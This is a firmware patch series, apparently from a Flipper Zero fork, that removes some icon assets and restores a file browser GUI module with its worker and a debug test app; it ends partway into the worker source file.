{.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_Nfc_10px}; -const Icon I_back_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_back_10px}; const Icon I_badusb_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_badusb_10px}; const Icon I_ble_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_ble_10px}; const Icon I_dir_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_dir_10px}; const Icon I_ibutt_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_ibutt_10px}; const Icon I_ir_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_ir_10px}; -const Icon I_loading_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_loading_10px}; -const Icon I_music_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_music_10px}; const Icon I_sub1_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_sub1_10px}; const Icon I_u2f_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_u2f_10px}; const Icon I_unknown_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_unknown_10px}; diff --git a/assets/compiled/assets_icons.h b/assets/compiled/assets_icons.h index 27e6eaed1..8a28e203f 100644 --- a/assets/compiled/assets_icons.h +++ b/assets/compiled/assets_icons.h @@ -7,14 +7,11 @@ extern const Icon A_Levelup1_128x64; extern const Icon A_Levelup2_128x64; extern const Icon I_125_10px; extern const Icon I_Nfc_10px; -extern const Icon I_back_10px; extern const Icon I_badusb_10px; extern const Icon I_ble_10px; extern const Icon I_dir_10px; extern const Icon I_ibutt_10px; extern const Icon I_ir_10px; -extern const Icon I_loading_10px; -extern const Icon I_music_10px; extern const Icon I_sub1_10px; extern const Icon I_u2f_10px; extern const Icon I_unknown_10px; diff --git a/assets/icons/Archive/back_10px.png b/assets/icons/Archive/back_10px.png deleted file mode 100644 index 008efe82fa129f55c8efa77688dd507f31398896..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 154 zcmeAS@N?(olHy`uVBq!ia0vp^AT}2V6Od#Ih`sfGge++G4X{LmR$r2S$euShDcma{&W9q1G|A@v4nS_xAT(=AqI)BoYRaGO@;Li wag`sfGge++QC**pItze8KAtX)ArhBs`vdt77;ren`<{QJxM$1n6@^=3kBM_gs5bkj zOgNacP$Dkno^tQ4ONX;p$w=sbzP$Pyzt8HuHJfiox2e6^5wrUCr{B&G7(ZT+pZ{3J RO%!M@gQu&X%Q~loCIH;wIT`=} From c4e8251a930c08527d25ef2434a6ca573ad1ebad Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 27 May 2022 17:24:01 +0300 Subject: [PATCH 230/461] revert --- .../file_browser_test/file_browser_app.c | 99 ++++ .../file_browser_test/file_browser_app_i.h | 32 ++ .../scenes/file_browser_scene.c | 30 + .../scenes/file_browser_scene.h | 29 + .../scenes/file_browser_scene_browser.c | 45 ++ .../scenes/file_browser_scene_config.h | 3 + .../scenes/file_browser_scene_result.c | 36 ++ .../scenes/file_browser_scene_start.c | 44 ++ applications/gui/modules/file_browser.c | 532 ++++++++++++++++++ applications/gui/modules/file_browser.h | 39 ++ .../gui/modules/file_browser_worker.c | 420 ++++++++++++++ .../gui/modules/file_browser_worker.h | 57 ++ 12 files changed, 1366 insertions(+) create mode 100644 applications/debug_tools/file_browser_test/file_browser_app.c create mode 100644 applications/debug_tools/file_browser_test/file_browser_app_i.h create mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene.c create mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene.h create mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c create mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene_config.h create mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene_result.c create mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene_start.c create mode 100644 applications/gui/modules/file_browser.c create mode 100644 applications/gui/modules/file_browser.h create mode 100644 applications/gui/modules/file_browser_worker.c create mode 100644 applications/gui/modules/file_browser_worker.h diff --git a/applications/debug_tools/file_browser_test/file_browser_app.c b/applications/debug_tools/file_browser_test/file_browser_app.c new file mode 100644 index 000000000..a408f5cde --- /dev/null +++ b/applications/debug_tools/file_browser_test/file_browser_app.c @@ -0,0 +1,99 @@ +#include "assets_icons.h" +#include "file_browser_app_i.h" +#include "gui/modules/file_browser.h" +#include "m-string.h" +#include +#include +#include +#include + +static bool file_browser_app_custom_event_callback(void* context, uint32_t event) { + furi_assert(context); + FileBrowserApp* app = context; + return scene_manager_handle_custom_event(app->scene_manager, event); +} + +static bool file_browser_app_back_event_callback(void* context) { + furi_assert(context); + FileBrowserApp* app = context; + return scene_manager_handle_back_event(app->scene_manager); +} + +static void file_browser_app_tick_event_callback(void* context) { + furi_assert(context); + FileBrowserApp* app = context; + scene_manager_handle_tick_event(app->scene_manager); +} + +FileBrowserApp* file_browser_app_alloc(char* arg) { + UNUSED(arg); + FileBrowserApp* app = malloc(sizeof(FileBrowserApp)); + + app->gui = furi_record_open("gui"); + app->dialogs = furi_record_open("dialogs"); + + app->view_dispatcher = view_dispatcher_alloc(); + view_dispatcher_enable_queue(app->view_dispatcher); + + app->scene_manager = scene_manager_alloc(&file_browser_scene_handlers, app); + + view_dispatcher_set_event_callback_context(app->view_dispatcher, app); + view_dispatcher_set_tick_event_callback( + app->view_dispatcher, file_browser_app_tick_event_callback, 500); + view_dispatcher_set_custom_event_callback( + app->view_dispatcher, file_browser_app_custom_event_callback); + view_dispatcher_set_navigation_event_callback( + app->view_dispatcher, file_browser_app_back_event_callback); + + app->widget = widget_alloc(); + + string_init(app->file_path); + app->file_browser = file_browser_alloc(&(app->file_path)); + file_browser_configure(app->file_browser, "*", true, &I_badusb_10px, true); + + view_dispatcher_add_view( + app->view_dispatcher, FileBrowserAppViewStart, widget_get_view(app->widget)); + view_dispatcher_add_view( + app->view_dispatcher, FileBrowserAppViewResult, widget_get_view(app->widget)); + view_dispatcher_add_view( + app->view_dispatcher, FileBrowserAppViewBrowser, file_browser_get_view(app->file_browser)); + + view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); + + scene_manager_next_scene(app->scene_manager, FileBrowserSceneStart); + + return app; +} + +void file_browser_app_free(FileBrowserApp* app) { + furi_assert(app); + + // Views + view_dispatcher_remove_view(app->view_dispatcher, FileBrowserAppViewStart); + view_dispatcher_remove_view(app->view_dispatcher, FileBrowserAppViewResult); + view_dispatcher_remove_view(app->view_dispatcher, FileBrowserAppViewBrowser); + widget_free(app->widget); + file_browser_free(app->file_browser); + + // View dispatcher + view_dispatcher_free(app->view_dispatcher); + scene_manager_free(app->scene_manager); + + // Close records + furi_record_close("gui"); + furi_record_close("notification"); + furi_record_close("dialogs"); + + string_clear(app->file_path); + + free(app); +} + +int32_t file_browser_app(void* p) { + FileBrowserApp* file_browser_app = file_browser_app_alloc((char*)p); + + view_dispatcher_run(file_browser_app->view_dispatcher); + + file_browser_app_free(file_browser_app); + return 0; +} diff --git a/applications/debug_tools/file_browser_test/file_browser_app_i.h b/applications/debug_tools/file_browser_test/file_browser_app_i.h new file mode 100644 index 000000000..6e8412c9b --- /dev/null +++ b/applications/debug_tools/file_browser_test/file_browser_app_i.h @@ -0,0 +1,32 @@ +#pragma once + +#include "scenes/file_browser_scene.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +typedef struct FileBrowserApp FileBrowserApp; + +struct FileBrowserApp { + Gui* gui; + ViewDispatcher* view_dispatcher; + SceneManager* scene_manager; + DialogsApp* dialogs; + Widget* widget; + FileBrowser* file_browser; + + string_t file_path; +}; + +typedef enum { + FileBrowserAppViewStart, + FileBrowserAppViewBrowser, + FileBrowserAppViewResult, +} FileBrowserAppView; diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene.c new file mode 100644 index 000000000..72a6e84d7 --- /dev/null +++ b/applications/debug_tools/file_browser_test/scenes/file_browser_scene.c @@ -0,0 +1,30 @@ +#include "file_browser_scene.h" + +// Generate scene on_enter handlers array +#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, +void (*const file_browser_scene_on_enter_handlers[])(void*) = { +#include "file_browser_scene_config.h" +}; +#undef ADD_SCENE + +// Generate scene on_event handlers array +#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, +bool (*const file_browser_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = { +#include "file_browser_scene_config.h" +}; +#undef ADD_SCENE + +// Generate scene on_exit handlers array +#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, +void (*const file_browser_scene_on_exit_handlers[])(void* context) = { +#include "file_browser_scene_config.h" +}; +#undef ADD_SCENE + +// Initialize scene handlers configuration structure +const SceneManagerHandlers file_browser_scene_handlers = { + .on_enter_handlers = file_browser_scene_on_enter_handlers, + .on_event_handlers = file_browser_scene_on_event_handlers, + .on_exit_handlers = file_browser_scene_on_exit_handlers, + .scene_num = FileBrowserSceneNum, +}; diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene.h b/applications/debug_tools/file_browser_test/scenes/file_browser_scene.h new file mode 100644 index 000000000..d690fca9f --- /dev/null +++ b/applications/debug_tools/file_browser_test/scenes/file_browser_scene.h @@ -0,0 +1,29 @@ +#pragma once + +#include + +// Generate scene id and total number +#define ADD_SCENE(prefix, name, id) FileBrowserScene##id, +typedef enum { +#include "file_browser_scene_config.h" + FileBrowserSceneNum, +} FileBrowserScene; +#undef ADD_SCENE + +extern const SceneManagerHandlers file_browser_scene_handlers; + +// Generate scene on_enter handlers declaration +#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); +#include "file_browser_scene_config.h" +#undef ADD_SCENE + +// Generate scene on_event handlers declaration +#define ADD_SCENE(prefix, name, id) \ + bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); +#include "file_browser_scene_config.h" +#undef ADD_SCENE + +// Generate scene on_exit handlers declaration +#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); +#include "file_browser_scene_config.h" +#undef ADD_SCENE diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c new file mode 100644 index 000000000..9c570cec0 --- /dev/null +++ b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c @@ -0,0 +1,45 @@ +#include "../file_browser_app_i.h" +#include "furi/check.h" +#include "furi/log.h" +#include "furi_hal.h" +#include "m-string.h" + +#define DEFAULT_PATH "/" +#define EXTENSION "*" + +bool file_browser_scene_browser_on_event(void* context, SceneManagerEvent event) { + UNUSED(context); + FileBrowserApp* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + scene_manager_next_scene(app->scene_manager, FileBrowserSceneResult); + consumed = true; + } else if(event.type == SceneManagerEventTypeTick) { + } + return consumed; +} + +static void file_browser_callback(void* context, bool state) { + FileBrowserApp* app = context; + furi_assert(app); + view_dispatcher_send_custom_event(app->view_dispatcher, SceneManagerEventTypeCustom); + + UNUSED(state); +} + +void file_browser_scene_browser_on_enter(void* context) { + FileBrowserApp* app = context; + + file_browser_set_callback(app->file_browser, file_browser_callback, app); + + file_browser_start(app->file_browser, app->file_path); + + view_dispatcher_switch_to_view(app->view_dispatcher, FileBrowserAppViewBrowser); +} + +void file_browser_scene_browser_on_exit(void* context) { + FileBrowserApp* app = context; + + file_browser_stop(app->file_browser); +} diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_config.h b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_config.h new file mode 100644 index 000000000..6597df3aa --- /dev/null +++ b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_config.h @@ -0,0 +1,3 @@ +ADD_SCENE(file_browser, start, Start) +ADD_SCENE(file_browser, browser, Browser) +ADD_SCENE(file_browser, result, Result) diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_result.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_result.c new file mode 100644 index 000000000..53576cef4 --- /dev/null +++ b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_result.c @@ -0,0 +1,36 @@ +#include "../file_browser_app_i.h" +#include "furi_hal.h" +#include "m-string.h" + +void file_browser_scene_result_ok_callback(InputType type, void* context) { + furi_assert(context); + FileBrowserApp* app = context; + view_dispatcher_send_custom_event(app->view_dispatcher, type); +} + +bool file_browser_scene_result_on_event(void* context, SceneManagerEvent event) { + UNUSED(context); + //FileBrowserApp* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + consumed = true; + } else if(event.type == SceneManagerEventTypeTick) { + } + return consumed; +} + +void file_browser_scene_result_on_enter(void* context) { + FileBrowserApp* app = context; + + widget_add_string_multiline_element( + app->widget, 64, 10, AlignCenter, AlignTop, FontSecondary, string_get_cstr(app->file_path)); + + view_dispatcher_switch_to_view(app->view_dispatcher, FileBrowserAppViewResult); +} + +void file_browser_scene_result_on_exit(void* context) { + UNUSED(context); + FileBrowserApp* app = context; + widget_reset(app->widget); +} diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_start.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_start.c new file mode 100644 index 000000000..bb71e83df --- /dev/null +++ b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_start.c @@ -0,0 +1,44 @@ +#include "../file_browser_app_i.h" +#include "furi_hal.h" +#include "gui/modules/widget_elements/widget_element_i.h" + +static void + file_browser_scene_start_ok_callback(GuiButtonType result, InputType type, void* context) { + UNUSED(result); + furi_assert(context); + FileBrowserApp* app = context; + if(type == InputTypeShort) { + view_dispatcher_send_custom_event(app->view_dispatcher, type); + } +} + +bool file_browser_scene_start_on_event(void* context, SceneManagerEvent event) { + FileBrowserApp* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + string_set_str(app->file_path, "/any/badusb/demo_windows.txt"); + scene_manager_next_scene(app->scene_manager, FileBrowserSceneBrowser); + consumed = true; + } else if(event.type == SceneManagerEventTypeTick) { + } + return consumed; +} + +void file_browser_scene_start_on_enter(void* context) { + FileBrowserApp* app = context; + + widget_add_string_multiline_element( + app->widget, 64, 20, AlignCenter, AlignTop, FontSecondary, "Press OK to start"); + + widget_add_button_element( + app->widget, GuiButtonTypeCenter, "Ok", file_browser_scene_start_ok_callback, app); + + view_dispatcher_switch_to_view(app->view_dispatcher, FileBrowserAppViewStart); +} + +void file_browser_scene_start_on_exit(void* context) { + UNUSED(context); + FileBrowserApp* app = context; + widget_reset(app->widget); +} diff --git a/applications/gui/modules/file_browser.c b/applications/gui/modules/file_browser.c new file mode 100644 index 000000000..919750962 --- /dev/null +++ b/applications/gui/modules/file_browser.c @@ -0,0 +1,532 @@ +#include "file_browser.h" +#include "assets_icons.h" +#include "cmsis_os2.h" +#include "file_browser_worker.h" +#include "furi/check.h" +#include "furi/common_defines.h" +#include "furi/log.h" +#include "furi_hal_resources.h" +#include "m-string.h" +#include +#include +#include + +#define LIST_ITEMS 5u +#define MAX_LEN_PX 110 +#define FRAME_HEIGHT 12 +#define Y_OFFSET 3 + +#define ITEM_LIST_LEN_MAX 100 + +typedef enum { + BrowserItemTypeLoading, + BrowserItemTypeBack, + BrowserItemTypeFolder, + BrowserItemTypeFile, +} BrowserItemType; + +typedef struct { + string_t path; + BrowserItemType type; +} BrowserItem_t; + +static void BrowserItem_t_init(BrowserItem_t* obj) { + obj->type = BrowserItemTypeLoading; + string_init(obj->path); +} + +static void BrowserItem_t_init_set(BrowserItem_t* obj, const BrowserItem_t* src) { + obj->type = src->type; + string_init_set(obj->path, src->path); +} + +static void BrowserItem_t_set(BrowserItem_t* obj, const BrowserItem_t* src) { + obj->type = src->type; + string_set(obj->path, src->path); +} + +static void BrowserItem_t_clear(BrowserItem_t* obj) { + string_clear(obj->path); +} + +ARRAY_DEF( + items_array, + BrowserItem_t, + (INIT(API_2(BrowserItem_t_init)), + SET(API_6(BrowserItem_t_set)), + INIT_SET(API_6(BrowserItem_t_init_set)), + CLEAR(API_2(BrowserItem_t_clear)))) + +struct FileBrowser { + View* view; + BrowserWorker* worker; + char* ext_filter; + bool skip_assets; + + FileBrowserCallback callback; + void* context; + + string_t* result_path; +}; + +typedef struct { + items_array_t items; + + bool is_root; + bool folder_loading; + bool list_loading; + uint32_t item_cnt; + int32_t item_idx; + int32_t array_offset; + int32_t list_offset; + + const Icon* file_icon; + bool hide_ext; +} FileBrowserModel; + +static const Icon* BrowserItemIcons[] = { + [BrowserItemTypeLoading] = &I_loading_10px, + [BrowserItemTypeBack] = &I_back_10px, + [BrowserItemTypeFolder] = &I_dir_10px, + [BrowserItemTypeFile] = &I_unknown_10px, +}; + +static void file_browser_view_draw_callback(Canvas* canvas, void* _model); +static bool file_browser_view_input_callback(InputEvent* event, void* context); + +static void + browser_folder_open_cb(void* context, uint32_t item_cnt, int32_t file_idx, bool is_root); +static void browser_list_load_cb(void* context, uint32_t list_load_offset); +static void browser_list_item_cb(void* context, string_t item_path, bool is_folder, bool is_last); +static void browser_long_load_cb(void* context); + +FileBrowser* file_browser_alloc(string_t* result_path) { + furi_assert(result_path); + FileBrowser* browser = malloc(sizeof(FileBrowser)); + browser->view = view_alloc(); + view_allocate_model(browser->view, ViewModelTypeLocking, sizeof(FileBrowserModel)); + view_set_context(browser->view, browser); + view_set_draw_callback(browser->view, file_browser_view_draw_callback); + view_set_input_callback(browser->view, file_browser_view_input_callback); + + browser->result_path = result_path; + + with_view_model( + browser->view, (FileBrowserModel * model) { + items_array_init(model->items); + return false; + }); + + return browser; +} + +void file_browser_free(FileBrowser* browser) { + furi_assert(browser); + + with_view_model( + browser->view, (FileBrowserModel * model) { + items_array_clear(model->items); + return false; + }); + + view_free(browser->view); + free(browser); +} + +View* file_browser_get_view(FileBrowser* browser) { + furi_assert(browser); + return browser->view; +} + +void file_browser_configure( + FileBrowser* browser, + char* extension, + bool skip_assets, + const Icon* file_icon, + bool hide_ext) { + furi_assert(browser); + + browser->ext_filter = extension; + browser->skip_assets = skip_assets; + + with_view_model( + browser->view, (FileBrowserModel * model) { + model->file_icon = file_icon; + model->hide_ext = hide_ext; + return false; + }); +} + +void file_browser_start(FileBrowser* browser, string_t path) { + furi_assert(browser); + browser->worker = file_browser_worker_alloc(path, browser->ext_filter, browser->skip_assets); + file_browser_worker_set_callback_context(browser->worker, browser); + file_browser_worker_set_folder_callback(browser->worker, browser_folder_open_cb); + file_browser_worker_set_list_callback(browser->worker, browser_list_load_cb); + file_browser_worker_set_item_callback(browser->worker, browser_list_item_cb); + file_browser_worker_set_long_load_callback(browser->worker, browser_long_load_cb); +} + +void file_browser_stop(FileBrowser* browser) { + furi_assert(browser); + file_browser_worker_free(browser->worker); + with_view_model( + browser->view, (FileBrowserModel * model) { + items_array_reset(model->items); + model->item_cnt = 0; + model->item_idx = 0; + model->array_offset = 0; + model->list_offset = 0; + return false; + }); +} + +void file_browser_set_callback(FileBrowser* browser, FileBrowserCallback callback, void* context) { + browser->context = context; + browser->callback = callback; +} + +static bool browser_is_item_in_array(FileBrowserModel* model, uint32_t idx) { + size_t array_size = items_array_size(model->items); + + if((idx >= (uint32_t)model->array_offset + array_size) || + (idx < (uint32_t)model->array_offset)) { + return false; + } + return true; +} + +static bool browser_is_list_load_required(FileBrowserModel* model) { + size_t array_size = items_array_size(model->items); + uint32_t item_cnt = (model->is_root) ? model->item_cnt : model->item_cnt - 1; + + if((model->list_loading) || (array_size >= item_cnt)) { + return false; + } + + if((model->array_offset > 0) && + (model->item_idx < (model->array_offset + ITEM_LIST_LEN_MAX / 4))) { + return true; + } + + if(((model->array_offset + array_size) < item_cnt) && + (model->item_idx > (int32_t)(model->array_offset + array_size - ITEM_LIST_LEN_MAX / 4))) { + return true; + } + + return false; +} + +static void browser_update_offset(FileBrowser* browser) { + furi_assert(browser); + + with_view_model( + browser->view, (FileBrowserModel * model) { + uint16_t bounds = model->item_cnt > (LIST_ITEMS - 1) ? 2 : model->item_cnt; + + if((model->item_cnt > (LIST_ITEMS - 1)) && + (model->item_idx >= ((int32_t)model->item_cnt - 1))) { + model->list_offset = model->item_idx - (LIST_ITEMS - 1); + } else if(model->list_offset < model->item_idx - bounds) { + model->list_offset = CLAMP( + model->item_idx - (int32_t)(LIST_ITEMS - 2), + (int32_t)model->item_cnt - bounds, + 0); + } else if(model->list_offset > model->item_idx - bounds) { + model->list_offset = + CLAMP(model->item_idx - 1, (int32_t)model->item_cnt - bounds, 0); + } + + return false; + }); +} + +static void + browser_folder_open_cb(void* context, uint32_t item_cnt, int32_t file_idx, bool is_root) { + furi_assert(context); + FileBrowser* browser = (FileBrowser*)context; + + int32_t load_offset = 0; + + with_view_model( + browser->view, (FileBrowserModel * model) { + if(is_root) { + model->item_cnt = item_cnt; + model->item_idx = (file_idx > 0) ? file_idx : 0; + load_offset = + CLAMP(model->item_idx - ITEM_LIST_LEN_MAX / 2, (int32_t)model->item_cnt, 0); + } else { + model->item_cnt = item_cnt + 1; + model->item_idx = file_idx + 1; + load_offset = CLAMP( + model->item_idx - ITEM_LIST_LEN_MAX / 2 - 1, (int32_t)model->item_cnt - 1, 0); + } + model->array_offset = 0; + model->list_offset = 0; + model->is_root = is_root; + model->list_loading = true; + model->folder_loading = false; + return true; + }); + browser_update_offset(browser); + + file_browser_worker_load(browser->worker, load_offset, ITEM_LIST_LEN_MAX); +} + +static void browser_list_load_cb(void* context, uint32_t list_load_offset) { + furi_assert(context); + FileBrowser* browser = (FileBrowser*)context; + + BrowserItem_t back_item; + BrowserItem_t_init(&back_item); + back_item.type = BrowserItemTypeBack; + + with_view_model( + browser->view, (FileBrowserModel * model) { + items_array_reset(model->items); + model->array_offset = list_load_offset; + if(!model->is_root) { + if(list_load_offset == 0) { + items_array_push_back(model->items, back_item); + } else { + model->array_offset += 1; + } + } + return false; + }); + + BrowserItem_t_clear(&back_item); +} + +static void browser_list_item_cb(void* context, string_t item_path, bool is_folder, bool is_last) { + furi_assert(context); + FileBrowser* browser = (FileBrowser*)context; + + BrowserItem_t item; + + if(!is_last) { + BrowserItem_t_init(&item); + string_set(item.path, item_path); + item.type = (is_folder) ? BrowserItemTypeFolder : BrowserItemTypeFile; + + with_view_model( + browser->view, (FileBrowserModel * model) { + items_array_push_back(model->items, item); + return false; + }); + BrowserItem_t_clear(&item); + } else { + with_view_model( + browser->view, (FileBrowserModel * model) { + model->list_loading = false; + return true; + }); + } +} + +static void browser_long_load_cb(void* context) { + furi_assert(context); + FileBrowser* browser = (FileBrowser*)context; + + with_view_model( + browser->view, (FileBrowserModel * model) { + model->folder_loading = true; + return true; + }); +} + +static void browser_draw_frame(Canvas* canvas, uint16_t idx, bool scrollbar) { + canvas_set_color(canvas, ColorBlack); + canvas_draw_box( + canvas, 0, Y_OFFSET + idx * FRAME_HEIGHT, (scrollbar ? 122 : 127), FRAME_HEIGHT); + + canvas_set_color(canvas, ColorWhite); + canvas_draw_dot(canvas, 0, Y_OFFSET + idx * FRAME_HEIGHT); + canvas_draw_dot(canvas, 1, Y_OFFSET + idx * FRAME_HEIGHT); + canvas_draw_dot(canvas, 0, (Y_OFFSET + idx * FRAME_HEIGHT) + 1); + + canvas_draw_dot(canvas, 0, (Y_OFFSET + idx * FRAME_HEIGHT) + (FRAME_HEIGHT - 1)); + canvas_draw_dot(canvas, scrollbar ? 121 : 126, Y_OFFSET + idx * FRAME_HEIGHT); + canvas_draw_dot( + canvas, scrollbar ? 121 : 126, (Y_OFFSET + idx * FRAME_HEIGHT) + (FRAME_HEIGHT - 1)); +} + +static void browser_draw_loading(Canvas* canvas, FileBrowserModel* model) { + uint8_t width = 49; + uint8_t height = 47; + uint8_t x = 128 / 2 - width / 2; + uint8_t y = 64 / 2 - height / 2; + + UNUSED(model); + + elements_bold_rounded_frame(canvas, x, y, width, height); + + canvas_set_font(canvas, FontSecondary); + elements_multiline_text(canvas, x + 7, y + 13, "Loading..."); + + canvas_draw_icon(canvas, x + 13, y + 19, &A_Loading_24); +} + +static void browser_draw_list(Canvas* canvas, FileBrowserModel* model) { + uint32_t array_size = items_array_size(model->items); + bool show_scrollbar = model->item_cnt > LIST_ITEMS; + + string_t filename; + string_init(filename); + + for(uint32_t i = 0; i < MIN(model->item_cnt, LIST_ITEMS); i++) { + int32_t idx = CLAMP((uint32_t)(i + model->list_offset), model->item_cnt, 0u); + + BrowserItemType item_type = BrowserItemTypeLoading; + + if(browser_is_item_in_array(model, idx)) { + BrowserItem_t* item = items_array_get( + model->items, CLAMP(idx - model->array_offset, (int32_t)(array_size - 1), 0)); + item_type = item->type; + file_browser_worker_get_filename( + item->path, filename, (model->hide_ext) && (item_type == BrowserItemTypeFile)); + } else { + string_set_str(filename, "---"); + } + + if(item_type == BrowserItemTypeBack) { + string_set_str(filename, ". ."); + } + + elements_string_fit_width( + canvas, filename, (show_scrollbar ? MAX_LEN_PX - 6 : MAX_LEN_PX)); + + if(model->item_idx == idx) { + browser_draw_frame(canvas, i, show_scrollbar); + } else { + canvas_set_color(canvas, ColorBlack); + } + + if((item_type == BrowserItemTypeFile) && (model->file_icon)) { + canvas_draw_icon(canvas, 2, Y_OFFSET + 1 + i * FRAME_HEIGHT, model->file_icon); + } else if(BrowserItemIcons[item_type] != NULL) { + canvas_draw_icon( + canvas, 2, Y_OFFSET + 1 + i * FRAME_HEIGHT, BrowserItemIcons[item_type]); + } + canvas_draw_str(canvas, 15, Y_OFFSET + 9 + i * FRAME_HEIGHT, string_get_cstr(filename)); + } + + if(show_scrollbar) { + elements_scrollbar_pos( + canvas, + 126, + Y_OFFSET, + canvas_height(canvas) - Y_OFFSET, + model->item_idx, + model->item_cnt); + } + + string_clear(filename); +} + +static void file_browser_view_draw_callback(Canvas* canvas, void* _model) { + FileBrowserModel* model = _model; + + if(model->folder_loading) { + browser_draw_loading(canvas, model); + } else { + browser_draw_list(canvas, model); + } +} + +static bool file_browser_view_input_callback(InputEvent* event, void* context) { + FileBrowser* browser = context; + furi_assert(browser); + bool consumed = false; + bool is_loading = false; + + with_view_model( + browser->view, (FileBrowserModel * model) { + is_loading = model->folder_loading; + return false; + }); + + if(is_loading) { + return false; + } else if(event->key == InputKeyUp || event->key == InputKeyDown) { + if(event->type == InputTypeShort || event->type == InputTypeRepeat) { + with_view_model( + browser->view, (FileBrowserModel * model) { + if(event->key == InputKeyUp) { + model->item_idx = + ((model->item_idx - 1) + model->item_cnt) % model->item_cnt; + if(browser_is_list_load_required(model)) { + model->list_loading = true; + int32_t load_offset = CLAMP( + model->item_idx - ITEM_LIST_LEN_MAX / 4 * 3, + (int32_t)model->item_cnt - ITEM_LIST_LEN_MAX, + 0); + file_browser_worker_load( + browser->worker, load_offset, ITEM_LIST_LEN_MAX); + } + } else if(event->key == InputKeyDown) { + model->item_idx = (model->item_idx + 1) % model->item_cnt; + if(browser_is_list_load_required(model)) { + model->list_loading = true; + int32_t load_offset = CLAMP( + model->item_idx - ITEM_LIST_LEN_MAX / 4 * 1, + (int32_t)model->item_cnt - ITEM_LIST_LEN_MAX, + 0); + file_browser_worker_load( + browser->worker, load_offset, ITEM_LIST_LEN_MAX); + } + } + return true; + }); + browser_update_offset(browser); + consumed = true; + } + } else if(event->key == InputKeyOk) { + if(event->type == InputTypeShort) { + BrowserItem_t* selected_item = NULL; + int32_t select_index = 0; + with_view_model( + browser->view, (FileBrowserModel * model) { + if(browser_is_item_in_array(model, model->item_idx)) { + selected_item = + items_array_get(model->items, model->item_idx - model->array_offset); + select_index = model->item_idx; + if((!model->is_root) && (select_index > 0)) { + select_index -= 1; + } + } + return false; + }); + + if(selected_item) { + if(selected_item->type == BrowserItemTypeBack) { + file_browser_worker_folder_exit(browser->worker); + } else if(selected_item->type == BrowserItemTypeFolder) { + file_browser_worker_folder_enter( + browser->worker, selected_item->path, select_index); + } else if(selected_item->type == BrowserItemTypeFile) { + string_set(*(browser->result_path), selected_item->path); + if(browser->callback) { + browser->callback(browser->context, true); + } + } + } + consumed = true; + } + } else if(event->key == InputKeyLeft) { + if(event->type == InputTypeShort) { + bool is_root = false; + with_view_model( + browser->view, (FileBrowserModel * model) { + is_root = model->is_root; + return false; + }); + if(!is_root) { + file_browser_worker_folder_exit(browser->worker); + } + consumed = true; + } + } + + return consumed; +} diff --git a/applications/gui/modules/file_browser.h b/applications/gui/modules/file_browser.h new file mode 100644 index 000000000..b77c6e65c --- /dev/null +++ b/applications/gui/modules/file_browser.h @@ -0,0 +1,39 @@ +/** + * @file file_browser.h + * GUI: FileBrowser view module API + */ + +#pragma once + +#include "m-string.h" +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct FileBrowser FileBrowser; +typedef void (*FileBrowserCallback)(void* context, bool state); + +FileBrowser* file_browser_alloc(string_t* result_path); + +void file_browser_free(FileBrowser* browser); + +View* file_browser_get_view(FileBrowser* browser); + +void file_browser_configure( + FileBrowser* browser, + char* extension, + bool skip_assets, + const Icon* file_icon, + bool hide_ext); + +void file_browser_start(FileBrowser* browser, string_t path); + +void file_browser_stop(FileBrowser* browser); + +void file_browser_set_callback(FileBrowser* browser, FileBrowserCallback callback, void* context); + +#ifdef __cplusplus +} +#endif diff --git a/applications/gui/modules/file_browser_worker.c b/applications/gui/modules/file_browser_worker.c new file mode 100644 index 000000000..13fc97111 --- /dev/null +++ b/applications/gui/modules/file_browser_worker.c @@ -0,0 +1,420 @@ +#include "file_browser_worker.h" +#include 